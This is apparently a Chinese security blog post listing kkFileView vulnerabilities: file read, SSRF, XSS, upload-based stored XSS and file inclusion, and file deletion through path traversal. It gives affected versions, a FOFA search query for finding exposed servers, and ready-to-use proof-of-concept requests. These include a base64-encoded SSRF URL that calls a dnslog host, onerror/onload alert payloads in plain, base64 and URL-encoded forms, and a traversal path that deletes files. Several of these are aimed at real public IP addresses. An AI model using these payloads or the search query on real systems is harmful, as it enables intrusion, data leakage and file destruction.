0x00 kkFileview存在任意文件读取漏洞
漏洞描述
Keking KkFileview是中国凯京科技(Keking)公司的一个 Spring-Boot 打造文件文档在线预览项目。Keking kkFileview 存在安全漏洞,该漏洞源于存在通过目录遍历漏洞读取任意文件,可能导致相关主机上的敏感文件泄漏。
漏洞影响
kkFileview <=3.6.0
fofa查询
body="kkFile
:View"
漏洞证明
![](https://i-blog.csdnimg.cn/blog_migrate/dc47f73c609f6d4818261de7cce0cd3d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/6681311aae1ba7cf4a9aac64c7d649b2.png)
0x01 kkFileView SSR 漏洞
漏
洞描述
kkFileview v4.1.0存在SSRF漏洞,攻击者可以利用此漏洞造成服务器端请求伪造(SSRF),远程攻击者可以通过将任意url注入url参数来强制应用程序发出任意请求。
漏洞影响
kkFileview =v4.1.0
漏
洞证明
![](https://i-blog.csdnimg.cn/blog_migrate/af8853c9321706b3702c94c6aa17f103.png)
![](https://i-blog.csdnimg.cn/blog_migrate/dcf278e2a8fc8a416c934b0e763e31ce.png)
http://121.40.238.48:8012//getCorsFile?urlPath=aHR0cDovL2QyYjY0NWQ3LmRucy5kbnNtYXAub3Jn
![](https://i-blog.csdnimg.cn/blog_migrate/3eeccab01dec074f578a08476fd209b8.png)
![](https://i-blog.csdnimg.cn/blog_migrate/e2a2f4a6190de026bfacec6051a13086.png)
0x03 kkFileView XSS漏洞
漏洞描述
kkFileview v4.1.0存两处XSS漏洞,可能导致网站cookies泄露。
漏洞影响
kkFileview =v4.1.0
漏洞证明
http://www.baidu.com/test.txt"><img src=111 οnerrοr=alert(1)>
编码base64:
aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg==
url编码:
aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D
poc1:
/onlinePreview?url=%3Cimg%20src=x%20οnerrοr=alert(0)%3E
/picturesPreview?urls=
aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D
http://139.9.164.127:8012/onlinePreview?url=%3Cimg%20src=x%20οnerrοr=alert(0)%3E
![](https://i-blog.csdnimg.cn/blog_migrate/03a681bbafb0ad2c2c55ff1f1d598b12.png)
http://119.91.146.127:8012/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D
![](https://i-blog.csdnimg.cn/blog_migrate/79019f1588d9dad7a36fbf15ca695b8d.png)
<svg/οnlοad=alert(1)>编码base64:
PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+
url编码:
PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B
poc2:
http://119.91.146.127:8012/picturesPreview?urls=¤tUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B
![](https://i-blog.csdnimg.cn/blog_migrate/5b974a0289ab2b0fc898dce36196b1ce.png)
0x04 kkFileView任意文件上传导致xss和文件包含漏洞
漏洞描述
kkFileview全版本存在文件解析漏洞,攻击者可以利用此漏洞造成存储型 XSS、文件包含或者SSRF,远程攻击者可以通过将任意JavaSript脚本上传到服务器来持久性的利用应用程序发出攻击请求
漏洞影响
kkFileView=4.1.0
漏洞证明
1、上传文件
![](https://i-blog.csdnimg.cn/blog_migrate/4cefc60cd4fc935db8ad946dc9fcc73b.png)
![](https://i-blog.csdnimg.cn/blog_migrate/db294efc7fc0f0c3835e19ba1f853fb8.png)
2、访问漏洞位置http://139.9.101.60:8012/demo/2.html
![](https://i-blog.csdnimg.cn/blog_migrate/a440f8abceaed3a36b234593e23168fe.png)
![](https://i-blog.csdnimg.cn/blog_migrate/b08ed6d43a2791f48737151e9f85c98a.png)
2.文件包含:
https://file.keking.cn/demo/test1.js
访问: https://file.keking.cn/demo/test14.html
![image](https://i-blog.csdnimg.cn/blog_migrate/f855b209ae99f7d4414a14fc7c7e8c68.png)
0x05 kkFileView任意文件删除漏洞
漏洞描述
kkFileview v4.0.0存在任意文件删除漏洞,可能导致系统任意文件被删除
漏洞影响
kkFileview= v4.0.0
漏洞证明
/deleteFile?fileName=demo%2F..\xss.pdf
get请求此uri会删除\kkFileView-master\server\src\main\file目录中的xss.pdf(原本只能删除\kkFileView-master\server\src\main\file\demo目录下的文件)
get请求此uri会删除\kkFileView-master\server\src\main\file目录中的xss.pdf(原本只能删除\kkFileView-master\server\src\main\file\demo目录下的文件)
![](https://i-blog.csdnimg.cn/blog_migrate/43f3ef90275ae247088742db22c42a2a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/b0b9e405e10b9e39e6759fa7f19a3e27.png)